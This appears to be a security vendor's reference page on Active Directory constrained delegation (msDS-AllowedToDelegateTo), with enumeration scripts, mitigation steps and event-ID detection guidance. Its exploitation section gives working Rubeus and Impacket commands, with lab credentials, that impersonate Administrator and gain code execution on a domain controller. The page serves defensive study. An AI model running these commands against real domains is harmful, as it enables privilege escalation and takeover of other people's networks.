ALLOWED_TO_DELEGATE
Summary
FSProtect ACL Alias
ALLOWED_TO_DELEGATE
AD Alias
Trust this computer for delegation
Affected Object Types
Computers
Exploitation Certainty
Likely
AD Attribute
msDS-AllowedToDelegateTo
AD Attribute GUID
800d94d7-b7a1-42a1-b14d-7cae1423d07f
Description
The ALLOWED_TO_DELEGATE
permission in Active Directory allows a computer account to delegate user credentials when authenticating to services on behalf of those users. This enables constrained Kerberos delegation scenarios and can support single sign-on and service-to-service authentication within a network. When configured correctly, ALLOWED_TO_DELEGATE
lets trusted computers handle delegated authentication without exposing user credentials.
If misconfigured or abused, however, ALLOWED_TO_DELEGATE
presents a significant security risk. An attacker who can modify or exploit this permission can create unauthorized delegation paths and impersonate users — possibly including privileged accounts such as Domain Administrators. This can lead to unauthorized data access, privilege escalation, and broader compromise of network resources. Therefore, restrict and monitor the use of ALLOWED_TO_DELEGATE
to protect the Active Directory environment.
Identification
PowerShell
Active Directory Module
Using the ActiveDirectory PowerShell module, you can enumerate ALLOWED_TO_DELEGATE
entries.
1. Find-AllowedToDelegate function
function Find-AllowedToDelegate {
[CmdletBinding()] param([string]$Target=$null,[string]$SearchBase=$null,[string]$OutputPath="AllowedToDelegate.csv",[switch]$ExcludeAdmin=$false)
if (-not (Get-Module ActiveDirectory)) { try { Import-Module ActiveDirectory } catch { Write-Error "Load ActiveDirectory (RSAT) first."; return } }
$props=@("servicePrincipalName","msDS-AllowedToDelegateTo","distinguishedName","objectClass","name")
$base = if ($SearchBase) { $SearchBase } else { (Get-ADRootDSE).DefaultNamingContext }
try {
if ($Target) {
try { $objs = Get-ADObject -Identity $Target -Properties $props -EA Stop } catch { $objs = Get-ADObject -Filter "samAccountName -eq '$Target' -or name -eq '$Target'" -SearchBase $base -Properties $props -EA Stop }
} else {
$objs = Get-ADObject -LDAPFilter "(servicePrincipalName=*)" -SearchBase $base -Properties $props -EA Stop
}
} catch { Write-Error "AD query failed: $($_.Exception.Message)"; return }
if (-not $objs) { Write-Output "No objects with SPNs found."; return }
$rows=@()
foreach($o in $objs){
if($ExcludeAdmin -and ($o.distinguishedName -match "OU=Domain Controllers|CN=Domain Controllers")){ continue }
if($o.'msDS-AllowedToDelegateTo'){ foreach($spn in $o.'msDS-AllowedToDelegateTo'){ $rows += [pscustomobject]@{ 'Allowed to delegate'=$o.Name; 'To'=$spn } } }
}
if($rows.Count -gt 0){ try { $rows|Sort-Object -Unique 'Allowed to delegate','To'|Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -EA Stop; Write-Output "Exported to '$OutputPath'." } catch { Write-Error "Export failed: $($_.Exception.Message)" } } else { Write-Output "No 'msDS-AllowedToDelegateTo' values found." }
}
2. Scan all domain computers
Find-AllowedToDelegate
3. Scan a specified object
Find-AllowedToDelegate -Target sql_svc
4. Using SearchBase to limit the scope
Find-AllowedToDelegate -SearchBase "CN=sql_svc,CN=Users,DC=Forestall,DC=labs"
.NET Directory Services
By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate ALLOWED_TO_DELEGATE
entries without relying on external modules or dependencies.
1. Find-AllowedToDelegateSimple function
function Find-AllowedToDelegateSimple {
[CmdletBinding()] param([string]$Target)
try {
if ($Target) {
$entries=@(New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target"))
$rows = foreach($e in $entries){
$dn=$e.Properties["distinguishedName"].Value
foreach($spn in $e.Properties["msDS-AllowedToDelegateTo"]){ [pscustomobject]@{ AccountDN=$dn; DelegateToSPN=$spn } }
}
} else {
$baseDN=(New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")).Properties["defaultNamingContext"].Value
$sr=New-Object System.DirectoryServices.DirectorySearcher("LDAP://$baseDN"); $sr.Filter="(msDS-AllowedToDelegateTo=*)"; $sr.PageSize=1000
foreach($p in "distinguishedName","msDS-AllowedToDelegateTo"){[void]$sr.PropertiesToLoad.Add($p)}
$hits=$sr.FindAll()
$rows = foreach($h in $hits){
$dn=$h.Properties["distinguishedname"][0]
foreach($spn in $h.Properties["msds-allowedtodelegateto"]){ [pscustomobject]@{ AccountDN=$dn; DelegateToSPN=$spn } }
}
}
} catch { Write-Error "LDAP enumeration failed: $($_.Exception.Message)"; return }
if($rows){$rows|Export-Csv ".\AllowedToDelegate.csv" -NoTypeInformation -Encoding UTF8; Write-Host "Exported $($rows.Count) entries to AllowedToDelegate.csv" }
else{ Write-Host "No 'msDS-AllowedToDelegateTo' values found." }
}
2. Scan all objects in the domain
Find-AllowedToDelegateSimple
3. Scan a specific object
Find-AllowedToDelegateSimple -Target "CN=VM01,OU=Workstations,DC=forestall,DC=labs"
Active Directory Users and Computers
1. Open Active Directory Users and Computers
on your Windows server.
2. Right-click on the Computer name.
3. Select Properties from the context menu.
4. In the Properties window, navigate to the Delegation tab.
5. In the Delegation list, locate and check the Trust this computer for delegation setting.
6. Click OK to save your changes and close the dialog boxes.

Impacket
impacket-findDelegation <domain>/<user>':'<pass>'
Example:
impacket-findDelegation forestall.labs/'adam':'Temp123!'

Exploitation
This attack assumes that the password or hash of the account allowed to delegate has already been obtained.
Windows
To calculate the hash for a specific user
.\Rubeus.exe hash /domain:<domain> /password:"<pass>" /user:<user>
Example:
.\Rubeus.exe hash /domain:forestall.labs /password:"JustLongPass123!@#" /user:sql_svc

To get a service ticket as an impersonated user
.\Rubeus.exe s4u /user:ATTACKER [/rc4:HASH OR /aes256:HASH] /impersonateuser:TARGETUSER /msdsspn:cifs/targetserver.domain.local /nowrap /ptt
Example:
.\Rubeus.exe s4u /user:sql_svc /aes256:70161674048D42869D74A9AFC31DAF7C7130CF6519C8FE972B8A6FDACF85AE1E /impersonateuser:Administrator /msdsspn:cifs/dc.forestall.labs /nowrap /ptt

To check access on the target
Linux
impacket-getST -spn <serviceallowedtodelegateTo>/<dchost> -impersonate <impersonatedUser> <domain>/<user>:'<pass>'
Example:
impacket-getST -spn cifs/dc.forestall.labs -impersonate administrator forestall.labs/sql_svc:'JustLongPass123!@#'

Code Execution
KRB5CCNAME='<ticket>' impacket-psexec -k -no-pass <domain>/<impersonatedUser> -k -no-pass
Example:
KRB5CCNAME='administrator@[email protected]' impacket-psexec -k -no-pass forestall.labs/[email protected]

Mitigation
Access Control Entries identified as dangerous should be removed following the steps below.
1. Open Active Directory Users and Computers
on a Windows server with the appropriate administrative tools.
2. Right-click the computer object.
3. Select Properties from the context menu.
4. In the Properties window, open the Delegation tab.
5. Disable or clear the "Trust this computer for delegation" setting for the computer if it is not required.
6. Click OK to save your changes and close the dialogs.

Detection
Changes to ACEs update an object’s ntSecurityDescriptor. Watch Event ID 5136 (object modified) and 4662 (object access) for ACL changes. For delegation activity, monitor Kerberos logs: 4768 (TGT request) and 4769 (service ticket request), and pivot on fields like TargetUserName and ServiceName to spot suspicious behavior.
5136
A directory service object was modified.
ntSecurityDescriptor
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662
An operation was performed on an object.
AccessList, AccessMask
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
4768
A Kerberos authentication ticket (TGT) was requested.
TargetUserName
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768
4769
A Kerberos service ticket was requested.
TargetUserName, ServiceName
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769
References
Last updated
Was this helpful?